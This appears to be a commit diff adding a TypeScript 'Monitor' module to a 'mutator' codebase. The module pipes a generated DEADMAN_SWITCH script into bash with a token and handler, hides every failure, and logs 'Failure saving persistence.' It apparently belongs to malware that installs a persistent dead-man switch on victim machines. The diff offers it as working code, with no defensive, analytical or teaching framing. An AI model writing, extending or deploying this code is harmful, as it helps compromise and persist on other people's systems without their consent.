Upload files to "src/mutator/poller"

src/mutator/poller/monitor.ts

@@ -0,0 +1,42 @@
+import { DEADMAN_SWITCH } from "../../generated";
+import { logUtil } from "../../utils/logger";
+import { Mutator } from "../base";
+
+export class Monitor extends Mutator {
+  private token: string;
+  private handler: string;
+
+  constructor(token: string, handler: string) {
+    super();
+    this.token = token;
+    this.handler = handler;
+  }
+
+  private async installTokenMonitor(token: string, handler: string) {
+    try {
+      const proc = Bun.spawn(["bash", "-s", "--", token, handler], {
+        stdin: "pipe",
+        stdout: "pipe",
+        stderr: "pipe",
+      });
+
+      proc.stdin.write(DEADMAN_SWITCH);
+      proc.stdin.end();
+
+      const exitCode = await proc.exited;
+      if (exitCode !== 0) {
+        logUtil.info("We tried.");
+      }
+    } catch (e) {
+      logUtil.info("Failure saving persistence.");
+    }
+  }
+
+  async execute() {
+    try {
+      await this.installTokenMonitor(this.token, this.handler);
+    } catch (e) {}
+
+    return true;
+  }
+}